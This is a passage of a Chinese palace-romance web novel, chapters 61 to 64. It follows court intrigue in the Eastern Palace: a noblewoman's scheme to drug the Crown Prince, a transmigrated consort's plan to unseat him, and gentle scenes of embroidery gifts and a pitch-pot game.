是时你只需稍微打扮得像那小妇,言行举止也往那小妇身上靠,便不会被察觉,轻轻松松就能成事。”
郑明芷一听要效仿槛儿,眉头皱得更深。
但听她娘把那药说得如此有奇效,郑明芷的心中又克制不住地动了动。
好在她存了几分理智。
“不行,绝对不行!当时成了事有什么用,等药效一过可就是要背上重罪的。
你要觉得活腻了,大可回了府寻根绳子结果了自己,何必拉着我来垫背!”
“不会。”
顺国公夫人没把女儿忤逆不孝的话当回事,握着她的手小声解释。
“那东西我看着人试过,遇火便没了,查不出来什么来,你借用膳的机会劝几杯酒,就权当是他酒后所为。
效用过了,生米已经煮成了熟饭,他还能不担责不成?横竖一年前那事只是被撞见了,又没被查到别的。
是时就算那位要以此为由发难,只要你咬死不认,皇后娘娘还能不为你做主?”
郑明芷咬唇,动摇了。
顺国公夫人补充:“当然,咱们现在不能动,得等那小妇开怀,肚子大了才行,如此便不至于太过明显。
到时候你跟身边伺候的人先服了解药,之后的事就水到渠成了,我这回进宫原也是想跟你说这事的。”
说着,顺国公夫人从怀中摸了半晌。
摸出一个她想方设法躲过入宫检查带进来的小香囊,推到郑明芷手边。
“好与不好,你今晚试试便可见分晓。”
郑明芷垂眼。
视线落在那枚香囊上。
是夜。
嘉荣堂后院揪出了两个对食的宫女太监,二人按律杖责五十,发配至浣衣局。
第61章 太子又想宋昭训了,海顺:“??!”
“这种事,还是别告诉主子了吧……”
听完小福子说的事,喜雨迟疑道。
小福子也在犹豫。
消息是从嘉荣堂传出来的。
大抵是太子妃想杀鸡儆猴,所以不单让嘉荣堂的宫女太监都去观了刑,还让消息在后宅的宫人之间流传。
对食什么的。
其实历朝历代的宫里屡见不鲜。
皆因他们这些宫女太监,除了少数是经战争俘虏来的,或是想进宫谋个前程的,剩下的都是迫于生计。
要么被家人哄骗着卖进宫,要么自卖其身进了宫,总之都是为了一口饭吃。
大家日子过得孤苦。
时间一长,免不得就想找个伴。
无关乎什么身体上的需求,不过是寻个精神慰藉罢了,算不得什么坏事。
大靖开国之初,宫里也没禁止宫女太监结干亲,甚至允许两人结为“义夫妻”。
也就是人们常说的“菜户”。
结了义夫妻的宫女太监平时私下相处皆如寻常夫妻,日子也算有了盼头。
只要守好该守的规矩。
主子们基本都会睁一只眼闭一只眼。
可坏就坏在。
不是所有人都能做到循规蹈矩,有些事一旦开了口就会有人得寸进尺。
这也就导致高祖时期,后宫发生了一起大型宫女太监聚众秽乱之事!
事关皇家颜面,史**载得不多。
小福子了解的也不清楚。
只能确定的是高祖为此震怒不已,自此宫里就严令禁止宫女太监结菜户。
对食更是不行。
违者宫女乱棍打死,太监一律活剥!
及至现在,宫里仍旧严禁宫女太监对食,只不过惩处相对来说宽松了一些。
好歹能留一命。
但即便如此,也没人再敢把这事摆到明面上来,真有心思的也都是偷摸着。
所以可想而知,今晚的东宫后宅里有多少宫女太监是睡不着觉的。
小福子和喜雨一来怕这样的事会污了主子的耳朵,二来也是考虑到他们主子从前跟他们一样的出身。
怕她听了会觉得不自在。
望晴看了看两人,拿手搓着袖边。
“……消息都传出来了,主子迟早会听到风声,现在瞒着不说,到时候主子会不会觉得咱们不中用,或是让主子觉得咱们知情不报存了二心?”
小福子和喜雨一怔。
是了!
他们只顾着顾及主子听了这事可能会不自在,却忘了最重要的一点。
那便是做奴才的。
最忌讳知情不报,欺上瞒下!
尤其在外收集消息这活儿一直是小福子在做,他今晚若瞒着消息不报,谁知道回头会不会引起昭训猜忌?
如此,以后还有他得重用的机会吗??
小福子一个激灵。
没敢再多想。
他当即对望晴撂下一句“谢了”,进屋把嘉荣堂的消息报给了槛儿。
望晴和喜雨跟着他进屋。
小福子说话的时候望晴就站在一旁,不动声色地暗暗观察槛儿的反应。
银竹瞥她一眼。
槛儿刚把要送给瑜姐儿的手帕做好,对小福子报来的消息并没有什么想法。
不是她忘本,翻身做了主子就不把和自己同样出身的人放在眼里。
而是这世上的不幸太多,日子难过的人太多,皇宫就好比一个缩小的人世间,多的是在底层挣扎的宫人。
哪里都有规矩管束。
哪里都有破坏规矩,累及无辜的人。
槛儿不是菩萨,如今她光是要过好自己的日子就已是费尽心思,哪还有余力为素不相识的人伤春悲秋。
更何况,槛儿在广储司的时候曾险些被一个老太监强迫做了他的对食。
那一回她差点**。
也因此后来每每听到这样的事,槛儿都会下意识感到排斥,对因为此事被惩治的人也生不出多少感触。
只不过,这会儿在屋里的人包括她在内,都是经历过底层宫人生活的。
槛儿自然不能什么反应也无。
没得寒了自己人的心。
且这具身子对险被老太监强迫那事记得还很清楚,槛儿也确实很不舒服。
于是,沉默良久。
她叹出一口气,看着小福子几人。
“这件事大家心里有数就行,别回头在外跟人谈论个没完,容易犯忌讳。
太子妃的用意是警醒,不是要让你们把这事在东宫传得沸沸扬扬。”
小福子等人连声应是。
“主子……是不是不高兴了?”重新退回院里,望晴状似不安地小声道。
“多多少少会吧……”
喜雨和小福子、银竹互视两眼,揣测道。
至于为什么会。
仨人都很心照不宣地没有明说。
望晴垂下头。
屋里,跳珠不想槛儿为了这件事坏了好心情,于是特意拿起那两条做好的帕子在灯罩前翻来覆去地看。
“主子的手艺真好,绣什么都跟真的似的,哪像奴婢绣啥都干巴巴的。”
槛儿配合地笑了。
“你若想学,我可以教你。”
“真的吗?!主子真能教奴婢?”
跳珠是想逗槛儿开心才挑了这个话题,但她的绣技不精也是真的。
内务府培养她们这些大宫女时,会要求她们十八般武艺样样都会。
但五个指头尚且有长有短。
是人自然就有擅长,不擅长的。
“当然是真的。”
槛儿的绣技最初是在广储司磨练出来的,十大绣种都有接触,不过最精通的还是当属京绣、苏绣和杭绣。
后来到了嘉荣堂。
头两个月偶尔还能绣些东西,后来被调到后院就再没有时间碰针线了。
还是后面要伺候太子,郑氏专门让她把手养回来,她才重新拿起了针线。
真要说起来。
槛儿现在可是几十年的老手艺人。
跳珠真心觉得昭训的手艺好,闻言不禁笑开了花儿:“多谢主子,主子您真好!奴婢一定好好学!”
说着话,两条小手帕被她折好了。
“奴婢去叫银竹进来。”
“不急。”
槛儿从她手里拿过帕子。
“总得寻个好看的盒子装着,再说大晚上的往元淳宫送这个也不合适,殿下这会儿指不定忙着呢。”
另外这事还是得给郑氏打声招呼。
省得日后太子不在,对方拿此事做文章,说她不将她这个主母放在眼里。
她不会再对郑氏畏手畏脚,但规矩以内的事槛儿也不会让对方抓住把柄。
差两刻钟亥时。
槛儿起身:“不早了,安置吧。”
.
太子确实还忙着。
元隆帝说话算话,今儿一早在早朝上正式宣布了准许太子入朝一事。
也和骆峋料想的如出一辙。
父皇安排他去了工部。
且不是叫他协助尚书或侍郎办差,而是在司务厅为他另增设了一个司务职位。
所谓司务厅,
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便是各部都有的一个,专掌监印,文书清单收发保管,以及物资调配等基础事务的部门。
而司务,满打满算只有从九品。
当然,这里的官衔对太子来说只是一个虚衔,因为太子进六部的目的在于历练,而非真就要做这么个官。
但即便如此,众人还是吃惊不已。
即便当时骆峋没有回头看,也能想象到睿王及在场众臣的面色有多精彩。
常言士农工商,若论六部中哪个部门为最末之流,必定当属工部无疑。
说得好听是掌工程营造,屯田水利。
说难听些,其实就是个管修房子修路修渠修器具,各种修修补补的部门。
干的活儿脏累也就罢。
关键做的差事都和银钱相关,随时随地要看户部的脸色是其一。
弄不好哪处的宫殿房子垮了,柱子坏了,哪里的河沟堵了,大坝决堤了。
最先被骂的都是工部。
当然,从中真捞了油水的就不说。
骂了就骂了,死都不足惜。
总而言之。
事多、权轻、责任重,朝中的人就没几个是主动愿意到工部任职的!
那就不是个好去处。
从九品的司务,还没有芝麻绿豆大小的一个位置更不是储君该坐的!
然而君无戏言。
圣旨都下了。
且司务官职虽小,却也是食君俸禄替百姓谋福祉,太子就是实打实地入了朝。
能入朝为官便是好事。
这一点,谁能有异议?
没人敢有异议,也没人敢置喙,即便有替太子不平的也都只能暗暗扼腕。
倒是骆峋。
并未因此而气馁,反而乐见其成。
因为司务管的文书包括诏令,工程图纸清单,以及地方的工程奏报之类。
协调物料需精通算数账目,同户部、都察院对接,宫廷工程要与内务府对接。
工匠协调,涉及到用人。
地方工程要与各地官员往来文书,哪处有灾情第一时间掌握的亦是司务。
等等,这些都是讲究实干的。
与其到其他地方领一个清贵闲职,骆峋自然更偏向于能干实事的地方。
六部衙署位于宫门外的千步廊广场,他今后也要每日到衙署点卯上值。
但六部的司务厅按规定原先都只有两名司务,因为管理的文书较多,这两名司务都有各自单独的值房。
如今工部增设了一个司务。
显然就差了一个值房。
所以元隆帝今日一早给太子安排好差事的同时,也命工部五日内收拾出一个值房以供太子使用。
至于这几天。
元隆帝让太子自行安排。
骆峋便在下了朝后,叫人到工部搬来了近两年工程营造的案卷账目。
整整一日他都在和这些东西打交道,直到夜半时分,海顺提醒了第三次。
骆峋方才离开书房。
也是躺上了榻准备就寝的时候,他隐隐约约觉得少了什么,少了什么?
骆峋翻身。
手无意识往旁边搂,却是只搂到了一团锦被,锦被上的香也是他惯用的。
骆峋这才恍惚想起。
哦,少了她。
海顺在外间听到太子翻身的动静,轻手轻脚地进来:“爷,要喝安神茶吗?”
骆峋扭头。
对上海总管那张平平无奇的大饼脸。
片刻,太子重新转过头去。
海顺:“???”
不是。
这啥意思??
第62章 太子爷的嘴角翘到一半没翘起来
次日一早。
请安刚开始没多久,槛儿和曹良媛、秦昭训就被郑明芷耳提面命了一番。
大致便是太子如今已入朝,近日没时间来后院,希望她们能安分守己。
勿要惹什么事端,叫太子分心。
好吧。
话都说到这份上了。
槛儿自然不好在这个节骨眼儿上,说想请太子帮忙转交两条小手帕。
于是等回了永煦院。
槛儿用完早膳后不急不慢地叫小福子去库房寻了几个漂亮的锦盒回来。
然后选了一个适合稚龄孩童的,把两条手帕放进去后就将锦盒暂搁在了书房。
如是过了五日。
后院里负责采办的几个管事太监和嬷嬷拿着牌子,跑了几趟内务府。
回来后凑一起剥瓜子唠嗑,说是殿下后儿个就要正式去工部当差了。
陛下还点了四个武艺高强的禁军跟着,命他们全权负责殿下在工部衙署的安危,若有差池提头来见!
消息是小福子从外面带回来的,也不知他是怎么和这些老人精搭上线的。
总归消息保真。
上辈子大概也是这个时候,槛儿在嘉荣堂听庞嬷嬷和郑氏提起过这事。
考虑到太子当差后只会更忙。
槛儿便还是在第二天请安结束,等曹良媛和秦昭训她们走了,向郑明芷提起了给宣王大郡主回礼的事。
郑明芷自打顺国公夫人那日离开东宫后,整个儿心态就变得异常平和。
当然,对槛儿还是极其不顺眼的。
只不过以往她但凡想起槛儿,就压制不住心底的火气,哪怕脸上表现得再温和,心里也总会觉得窝火。
这几日不一样了。
她看槛儿不顺眼归不顺眼,却不会再感到窝火,就像是彻底把槛儿当成后院里无关紧要的小猫小狗。
**,卑劣。
不值得她费心。
所以当槛儿向她提及回礼的事时,郑明芷都没追究小丫头片子送赔礼之事槛儿为何没在当时告知于她。
甚至也不介意此次太子插手女眷往来,替槛儿转交回礼的这事儿,只问了一句要送的东西是什么便作罢。
槛儿察觉到郑氏的转变,猜出对方的这番变化定然跟顺国公夫人有关。
不过,上辈子没有这么一段。
所以槛儿一时也猜不太透顺国公夫人和郑氏,私下里究竟盘算了什么。
总归兵来将挡,水来土掩。
槛儿并没有因此便时刻紧绷着神经。
临近午膳时分。
银竹将锦盒送到元淳宫。
太子爷刚从书案前起身,准备移步至膳厅,听闻永煦院来了人送东西。
太子爷的第一反应是:
想他了?
自己近日看那堆案卷、账簿看得晕头转向,夜里做梦都是工程核算。
自然就忘了她。
太子爷便想,莫非小昭训想他了,所以才以送东西的方式来邀宠?
念头刚起,银竹毕恭毕敬地进来,再毕恭毕敬地捧起锦盒道明了来由。
太子爷:“……”
太子爷还没来得及扬起的唇角重新抿紧,也终于想起还有这样一件事。
他对小昭训要送给瑜姐儿的回礼不感兴趣,也很君子的没有打开锦盒,只让海顺将东西拿下去叫人检查。
这自然不是不相信槛儿。
觉得她会从中做手脚。
而是太子行事向来稳妥谨慎。
送别人的东西前会检查,东西送到对方手中亦会叫对方检查,如此以防东西在运送途中被人暗中动手脚。
待海顺确定东西没有异样,太子爷当场着人送去宣王府,银竹恭敬告退。
太子想起一事。
屏退左右,他的指尖随意在书案边沿轻敲两下。
西间的帘幔微动。
下一刻。
一个其貌不扬,一身内侍装扮的人从里面走出来,而后不待太子开口询问。
那人主动禀道:
“属下等人翻遍几处王府及方圆数十里可疑人家,未曾发现有人对宣王殿下行巫蛊、厌胜及魇镇等术法。”
骆峋:“姜氏?”
“姜府近来一直安分守己,姜氏这两月忙于创作新话本,经营她的吃食铺子,此外并无其他异动,宣王府近日也不曾有人出现可疑之举。”
骆峋颔首。
“继续盯,切忌掉以轻心。”
“是。”
书房恢复安静。
西间临窗的墙角处,帘幔微微晃动。
骆峋双手负后立在书案前。
稍顷,他迈开步子走出书房。
膳厅里,午膳被摆上桌。
骆峋净了手落座。
视线不经意瞥过桌上的一道汤,他想起前些日子同槛儿一道用晚膳。
看她吃东西,他的胃口似乎也好了不少。
这个时辰,她应该也在用午膳。
他抬眸看向窗外。
晌午的日光明晃晃的。
烈日炙烤着路
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面,院中的几株罗汉松在骄阳下苍翠欲滴,枝叶纹丝不动。
抿抿唇,太子爷执起银著。
心无旁骛地用起膳来。
.
锦盒送到宣王府时,瑜姐儿正守在宣王妃的榻前,乳母端着午膳候在屋外。
宣王妃撇过头掩唇咳嗽两声,另一只手推了推瑜姐儿的小肩膀:“听话,回屋让乳母陪着你用膳。”
瑜姐儿抓住娘亲的手。
“娘你慢慢说,不着急,不着急。”
“娘没事,你乖乖……”
宣王妃咳得缓不过气。
屋中下人一通忙活,宣王妃终于止住了咳,戴着面纱垫着靠枕坐在床头。
“娘,你好些了吗?”瑜姐儿挣开乳母跑进来,泪汪汪地望着宣王妃。
宣王妃扯出一抹笑。
替小家伙擦干脸上的泪。
“娘好多了,瑜姐儿不担心了。”
她的病是从娘胎里带来的。
算不得多严重,就是比常人更易受凉或是风热,每每总会缠绵个十天半个月。
其实被养在蓉嫔身边的那十多年里,她的身子骨已经硬朗了不少,性子也比在柳家活泼开朗了许多。
成婚的第一年。
宣王待她比从前更温柔体贴,那一年她只病了一回,不到三日便痊愈了。
身边人都说她这是要好全了,太医也说继续这样保持下去,根治并不是不可。
哪曾想……
喉头发哽,宣王妃强忍着咳意。
“再不去用膳饭菜该凉了,吃了凉凉的东西肚子会痛,你想肚肚痛吗?”
瑜姐儿不想肚肚痛,但她更关心娘亲:“我想就在娘这里吃,娘也吃。”
宣王妃摸摸女儿的脑袋瓜。
“娘之前不是跟瑜姐儿说过吗,娘在生病,瑜姐儿和娘待久了也会生病。
瑜姐儿如果生病,娘便也会担心,娘一担心可能会病得更严重,瑜姐儿不想生病也不想让娘担心对不对?”
瑜姐儿抽泣了一下。
刚想点头,外头传来丫鬟的声音。
“王妃,太子殿下着人送了东西过来,说是宋昭训给大郡主的回礼,已经检查过了,奴婢现在送进来吗?”
宣王妃反应了一下才想起,几日前女儿编了一根五彩绳给宋昭训作赔礼。
对方居然回礼了。
宣王妃叫丫鬟把东西送进来。
瑜姐儿记起爹爹训她的时候提过,六叔家的新小婶婶好像就叫宋昭训!
第63章 拉太子下马!让宋槛儿做不成皇后!
丫鬟将锦盒呈到小主子面前。
“来人说宋昭训叫她代为转告郡主,郡主的礼宋昭训已收到,宋昭训很喜欢,也很谢谢郡主的礼。
请郡主不必将家宴中的事放在心上,盒里的东西出自宋昭训之手,望郡主笑纳。”
瑜姐儿看向娘亲。
亮晶晶的大眼睛里满是期待。
宣王妃轻拢面纱,柔声笑道:“送给瑜姐儿的,你自己打开看看。”
瑜姐儿立马笑开了,小手捧过锦盒放到床头的绣墩上,然后轻轻打开。
两条小手帕的料子都用的是丁娘子棉布,此布产自松江府,质地柔软细腻,轻薄透气,极其适合用来给小孩子做手帕、围兜什么的。
其实还有更高级的三纱布,但太过高级了并不适合槛儿现在的位份。
两条手帕一般大小,折得整整齐齐,瑜姐儿选了左边的那条拿起来抖开。
便见手帕的一角绣着一个小小荷花池,几株粉嫩的荷花大小不一,亭亭玉立,有的绽开有的还是花苞。
池面上几片青翠欲滴的荷叶,上面还有剔透的水珠,随着手帕晃动,水珠们就像是在荷叶上滚动似的。
既好看,又好玩。
瑜姐儿:“娘你看,好漂亮!”
宣王妃没有伸手接,大丫鬟挽香从小主子手里接过帕子代为翻看了一番。
旋即惊讶:“主子,如果这帕子当真出自宋昭训之手,那这位宋昭训的手艺也太好了,奴婢摸着一点儿不刺挠,给咱们郡主用正正好!”
瑜姐儿把另一条帕子也展开。
这条上面绣的是两只偎在一起的小兔子,一只体型稍大,一只体型较小。
小的那只闭着眼蜷成一团貌似睡得香甜,耳朵软绵绵地贴在脑袋上。
大的那只则半眯着眼,半边身子罩着旁边的小兔子,一只耳朵微微耷拉,另一只耳朵则呈竖起警觉状。
仿佛在保护身旁的小小兔。
槛儿绣技好,两只兔子的毛发皆纤毫毕现。
单这么看着便让人觉得软乎乎毛茸茸,甚至随着手帕晃动,两只小兔的****还宛如被风吹动一般。
“我知道这个!”
瑜姐儿把帕子摊在掌心,胖乎乎的手指指着大的那只兔子,脆脆道。
“这是娘。”
又指着小小兔:“这是我!”
最后总结:“这是一对母女兔兔,大兔子保护小兔子,就像娘保护我!”
小丫头扬起肉嘟嘟的脸蛋,黑葡萄似的眼睛望着娘亲满是亲昵和依赖。
宣王妃的心软成一滩水。
“我闺女真聪明,一下子就看出这是母女兔,娘听你说才看出来的呢。”
瑜姐儿嘿嘿笑。
挽香在一旁连声感慨:
“这得练多少年才能绣成这样啊,这两方帕子,这样的用料加刺绣手艺放外面都能卖到二两一条了。”
宣王妃知道宋昭训是宫婢出身,却是不知对方从前具体做的什么差。
如今来看,估计便是和绣技相关的。
看着瑜姐儿对两条小手帕爱不释手,宣王妃想起了那位宋昭训的模样。
的确是个标致人物。
娇而不作,媚而不俗。
眉眼间自带一股温婉灵秀的气质。
且单从送瑜姐儿的这两条帕子便能看出,此女亦有颗七窍玲珑心。
换做是其他府上的哪个妾室用心如此巧妙,宣王妃必定会当对方有所图。
但东宫的侍妾,宣王妃便不这么想了。
宣王没有母族,养母蓉嫔的娘家远在庆阳,父亲只是庆阳府宁州知州。
蓉嫔打从进宫便依附于皇后娘娘,宣王也是打小跟在太子后面长大的。
太子无需拉拢宣王什么,太子的侍妾自然也不必以这样的方式来讨好她。
想来对方的回礼也只是出于礼节性。
宣王妃没有多想,她不喜姜侧妃是真,但不代表她就厌恶所有妾室。
日后若有机会。
倒是可以与这位宋昭训聊上一二。
看着瑜姐儿还在端详那对儿母女兔子,小嘴里嘀咕着“娘要多多吃饭,长得和这只兔兔一样胖”。
宣王妃的心酸得发苦。
她如何不知道要保重身子,如何不知道只有她好,她的瑜姐儿才会好。
为了瑜姐儿,她也该打起精神来。
可心里明白是一回事,做起来却好难。
十六年的情分啊。
宣王妃想不通。
他们十六年的情分,如何就抵不过他与姜侧妃短短不到两年的相处……
.
“东宫的宋昭训给大郡主送了东西?”
揽霞居。
姜侧妃刚午睡起来便听陪嫁丫鬟春桃来报了此事,忍不住挑了挑眉问。
春桃:“据说还是宋昭训自己做的两方帕子呢,大郡主都别到衣裳上了。”
姜侧妃嗤笑。
原书里的宋槛儿就算替太子妃生了儿子,得了宠,也没有这个胆子。
也是好笑。
重生了不想着出宫干事业就算了,如今还以侍妾的身份来巴结宣王妃。
宣王妃也是。
好歹宣王是书里的男主,她是女主。
堂堂超一品的亲王王妃,居然让郡主女儿收了一个区区七品侍妾的礼。
她都不觉得没脸吗?
姜侧妃是真心看不起宣王妃。
小家子气。
关键又病又弱,走一步喘三步。
对外人好得不得了。
对男主宣王就是各种阴阳怪气。
看小说的时候姜侧妃就不喜欢宣王妃这个女主,穿过来了还是不喜欢。
就宣王妃这种又病又作的性子,放别的小说里恐怕一章不到就下线了。
幸好她穿来了。
姜侧妃想。
既然穿了书,那她现在所在的这个世界便是穿书世界,她就是穿书女主。
至于宣王妃这个原女主。
哪边儿凉快,哪边儿待着去吧。
姜侧妃起身,来到妆台前。
春桃和另一个丫鬟秋桂伺候她梳妆。
姜侧妃对着镜子欣赏起自己美丽的容貌,欣赏着欣赏着,她想起一件事。
秀眉渐渐皱起。
傍晚。
和宣王一起用过晚膳,两人在外消食后回来沐浴,宣王冲洗好跨进浴桶,姜侧妃拿脚点了点他的胸膛。
“之前我跟你说的事,你有对太子说吗?”
宣王皱了皱眉。
下意识对姜侧妃的此等僭越行举极其不满,当即就要冷脸发作。
然而这种感觉在他对上姜侧妃娇艳的脸时,又突然消散得无影无踪。
心里只剩下对眼前人的宠溺和纵容。
“什么事?”
宣王在水里握住姜侧妃的脚踝,旋即一个用力将人拉到自己怀里。
姜侧妃娇呼,熟练地攀住男人的脖颈,身前特意往他精壮的胸膛上蹭。
宣王闷哼。
但就在这时,姜侧妃忽然推开他。
“看来王爷是没把我的事放心上了,那今晚还请王爷另寻别处就寝吧。”
说着,人就要出去。
被宣王一把拽了回来。
“你是指让六哥废了宋昭训的事?”
姜侧妃斜他一眼,冷哼。
男人就是贱,还要训!
宣王捏捏她的
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脸。
“不是我不把你的事放在心上,而是宋昭训是六哥的侍妾,我一个大男人,怎好插手兄长后院的事?”
还大男子主义!
姜侧妃更不高兴了。
“照你这么说,她当着那么多人的面默认她比我漂亮这事就这么算了?
你不好插手你兄长后院的事,那你的女人被他的女人当众羞辱,你就没想过替你的女人出气??”
还有一句姜侧妃没说。
你不是小说男主吗?
男主不都应该随时随地,不分时间场合地护妻,替自己的女人找回场子吗?
不然算哪门子的男主!
“人家当时估计也没……”
宣王不想姜侧妃揪着这件事不放,谁知话说到一半,那种莫名的感觉又来了。
他像是突然惊醒。
猛地推开姜侧妃,心底的厌恶感如滔滔江水。
“好啊,你推我!你居然推我!”
姜侧妃愣神之后掩面假哭了起来,同时不忘维持美丽的哭相和哭声。
宣王使劲摇摇头。
那种感觉再度消失。
将人重新搂进怀里,又是亲又是哄,闹了小半个时辰才终于把人哄好。
“那你是答应了?让你六哥废了那个侍妾,”姜侧妃假装抽泣着问。
宣王随口敷衍:“废不废的,我哪能这么跟六哥说,顶多委婉提一嘴。”
弟弟插手兄长后院之事本就不妥,遑论还是为了这么一个无足轻重的缘由。
别说六哥不会听他的。
便是听他的,宣王也没脸开这个口。
六哥至今未有子嗣,后院的女人又本就不多,好不容易纳了这么一个。
他还要怂恿六哥把人废了。
胡扯呢。
哪有这么当弟弟的。
姜侧妃觉得宣王真没出息。
白瞎了他男主的身份。
她不满地撇嘴,倒也没有继续揪着不放。
谁叫古代的男人就这个狗样呢,该守的规矩不守,不该守的守一大堆,废个侍妾也值得他们推三阻四的。
这不好插手,那不好开口。
没劲透了。
不过没关系。
宋槛儿重生了又怎么样呢,小说里重生女一手好牌打得稀烂的还少吗?
姜侧妃不知道这个世界的宋槛儿是什么时候**重生回来的,但书里的宋槛儿从奴才一跃成为东宫宠妾。
再到淑妃、庆昭帝的继后。
足足被独宠了近三十年。
够享福的了。
重生个屁啊!
总不能书里书外前世今生都让同一个人享福吧,那老天也太不公平了。
姜侧妃真心期待宋槛儿这辈子被别人踩在脚底下,估计会很精彩!
等等!
要不,她来帮宣王夺嫡吧?
只要把太子拉下马,宋槛儿的这辈子不就做不成皇后,享不了福了?
而且她还能捞个皇后当当!
这么想着,姜侧妃眼珠子一转,转而搂住宣王的脖子仰头亲他的唇。
宣王不自觉避了一下。
姜侧妃没有察觉,亲到了他下巴。
一瞬间,宣王莫名心慌得厉害。
“哗啦”一声。
他站起身,眉头紧皱:“突然想起还有公务没办,你沐浴完自行安置。”
说罢,抬腿出了浴桶。
“狗男人!”
姜侧妃看着男人的身影消失在门口,不屑地拍了一下水面没好气骂道。
殊不知屋外树影幢幢,一抹黑影借夜色掩护,于繁茂的枝叶间一闪而过。
不到一刻钟。
此番对话一字不漏地传入太子耳中。
第64章 太子爷(不)娇惯妾室,殿下真会玩
听银竹说太子已命人将东西送去了宣王府,槛儿便将此事抛到了脑后。
至于宣王府发生什么事。
她一个自由出入东宫的资格都没有的人无从知晓,她也没有理由去深究。
为避免患短视之症,槛儿晚上就不装勤奋好学了,吃过饭后让跳珠把之前小福子拿回来的投壶找出来。
和他们玩起了投壶。
壶是陶制的,壶颈细细的,约莫七寸长,壶的口径只有刚好两寸的长度。
箭是木头做的,没有镞。
瑛姑姑不玩,槛儿他们正好十个人,分成两列站在离壶一丈远的位置。
箭入壶口计一点,入壶耳计两点。
如果箭入了壶却反弹出来被投的人接住,又重新投中,则计双倍点数。
前世槛儿循规蹈矩了几十年,连这等怡情逗趣的小游戏都几乎没参与过。
技术可想而知。
每回轮到槛儿投的时候,她打眼往壶口一瞧,总有种自己能投中的感觉。
然而真到投的时候箭扔得不是远了就是近了,要么就是歪到犄角旮旯去了。
总之就没投中过。
好在这个活动本就考验眼力腕力。
四轮下来跳珠他们也不是次次中,喜雨和小喜子、小满子也一次都没中。
经过这一个月的相处,跳珠他们已经算是熟知他们昭训主儿的脾性。
当差办事要严谨,该玩的时候只要不惹出乱子,昭训主子便会纵着他们。
于是一时间,院里充斥着各种打气逗趣声。
别提多欢乐了。
太子爷靠近院门口,听到的就是一串银铃般的笑声,其中就有小昭训的。
海顺倒吸一口凉气。
宋昭训平日挺稳重的一个人,今儿怎么就忘形了呢,连个守门的都没有!
“殿下,奴才这就叫人进去通报,”海顺小心赔笑,说完扭头使人进去。
却是不待他开口,太子抬了抬手。
“不必。”
院子里,正轮到槛儿开始新的一局呢,瑛姑姑、跳珠他们都在给她打气。
槛儿强烈预感自己这回一定能中!
就在这时,旁边的瑛姑姑和已经投过的跳珠、小喜子几人脸色猛地一变。
旋即齐齐朝门口方向跪地。
槛儿反应不及,箭已经投出去了。
随后一回头。
一身暗色常服的太子经不远处的潭中假山绕过来,龙行虎步的,廊檐下晕黄的烛光映衬着他冷肃的俊脸。
更显得他不怒自威。
“殿下!”
槛儿一怔,很快笑了开。
经过了这么一个月,她现在已经能完全控制住这具身子对太子和郑氏他们的恐惧了,应该是适应了。
但大抵是这辈子想得开。
近段日子又过得舒心。
加上这副身子终究只是一个不到十六岁的小姑娘,槛儿的性子也多多少少受了影响,变开朗了许多。
这不。
她一高兴,还朝太子小跑了过去,上辈子槛儿可从来不敢这么做的。
娇艳明媚的小姑娘,声音也是娇滴滴的,这么朝他奔来时太子爷仿佛看到了一只翩翩蝴蝶朝自己飞来。
这么多宫人在场。
严肃的太子很想斥她一句庄重些。
但看着小姑娘欣喜地停在他面前,看着她红扑扑的小脸和灿若星辰的眸子。
喉咙里的那句“不知规矩”开口后莫名变成了:“跑什么?仔细摔了。”
意识到自己说了什么。
骆峋:“……”
男人薄唇微抿,面色冷冷的,体贴人的话从他口中出来都像是在训人。
好在槛儿还是了解太子的,这人若真恼了,压根儿就不会说这样的话。
倒不如说太子突然说出这种类似于体贴人的话,让槛儿很是吃了一惊。
不过她没表现出来。
只自然熟稔地挽住他的手臂,柔声道:“妾身在玩投壶,还请殿下指点。”
骆峋不想指点。
投壶什么的,他六岁就不玩了。
然见她胆子比刚开始大了些许,语气轻快眼波明媚,骆峋便不忍败她的兴。
不过,太子爷还是把手臂抽了出来。
又不是小孩子,挽什么胳膊。
叫人看着成何体统。
槛儿正在交代小福子把箭矢拿过来,倒没注意到太子殿下的动作。
等太子站到由几颗小石子铺成的线后面,小福子双手恭敬地呈上箭矢。
骆峋随手拿起。
没等槛儿他们反应,只听“咚”的一声。
正中壶口!
能百步穿杨的人,玩起投壶自然是信手拈来,可真当看到他这么轻轻松松就投中时,槛儿还是有些小不甘。
她好几轮都没投中呢!
“殿下试试这里,投这儿可以吗?”
槛儿不服,拎着裙子跑过去指指壶耳。
壶耳比壶口窄得不止一星半点。
刚好只够插一支箭。
外头很多高门大户的公子哥儿玩投壶,就是以能否投中壶耳
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来判定高低。
槛儿不确定太子能不能投中,但以防他万一没投中,有损太子的颜面。
槛儿问完后还故意羞窘般揭了自己的短,把她投了好几轮都没投中的事添油加醋地倾诉了一番。
总结下来就是投壶太难了。
就算太子殿下没投中壶耳,那也一定不是太子爷技术不好,是壶耳不好!
骆峋:“……”
骆峋拿起箭矢,面无表情地一掷。
好家伙。
又中了!
简单轻松得就像随手扔了颗小石子,搞得槛儿觉得自己好像又可以了。
海顺瞅着宋昭训目瞪口呆的小模样,笑眯眯道:“昭训有所不知,咱们殿下头一回玩投壶就能蒙着眼睛投了,还能蒙着眼睛背投呢。”
背投,即背对着反手投壶。
寒酥小福子他们没见过太子射柳的英姿,听了这话下巴差点没惊掉。
好家伙。
他们殿下原来这么会玩吗??
槛儿:“殿下第一次玩投壶多大?”
海顺伸出五根手指。
“五岁!”槛儿瞪大眼,难以置信地看着看太子,又忍不住跃跃欲试。
骆峋看出了她眼里的崇拜,以及明显想让他蒙着眼睛来一次的蠢蠢欲动。
他淡扫一眼海顺:“多嘴。”
海总管:“嘿嘿。”
骆峋转身往屋里行。
这种娇惯妾室,对妾室有求必应的做派历来为人不齿,他不会做,也做不来。
槛儿熟悉太子的行事风格,上辈子他即便宠她,也都是极其注重规矩的。
所以槛儿也没觉得失望。
和海总管对了个眼神,便恭顺地跟上去。
骆峋的余光往身侧瞥一眼。
见她双目澄澈,神态温婉安然,像是早知他不会答应似的,本分极了。
骆峋眸光微顿。
须臾,他停下步子。
头也没回地伸出左手。
槛儿还没明白这位爷什么意思,海顺这个人精就朝小福子奔了过去。
回来时手里多了一支箭。
太子爷冷着一张脸从海总管手里接过箭矢,反手往壶的方向一掷。
咚!
箭矢稳稳落入壶中。
跳珠等人眼珠子差点没滚出来。
槛儿惊讶掩唇。
却是不待她说话,太子爷已经重新迈步往屋里去,嗓音冷冽带着训诫。
“下不为例。”
槛儿就笑了。
偷笑的那种。
“是,殿下好厉害!”
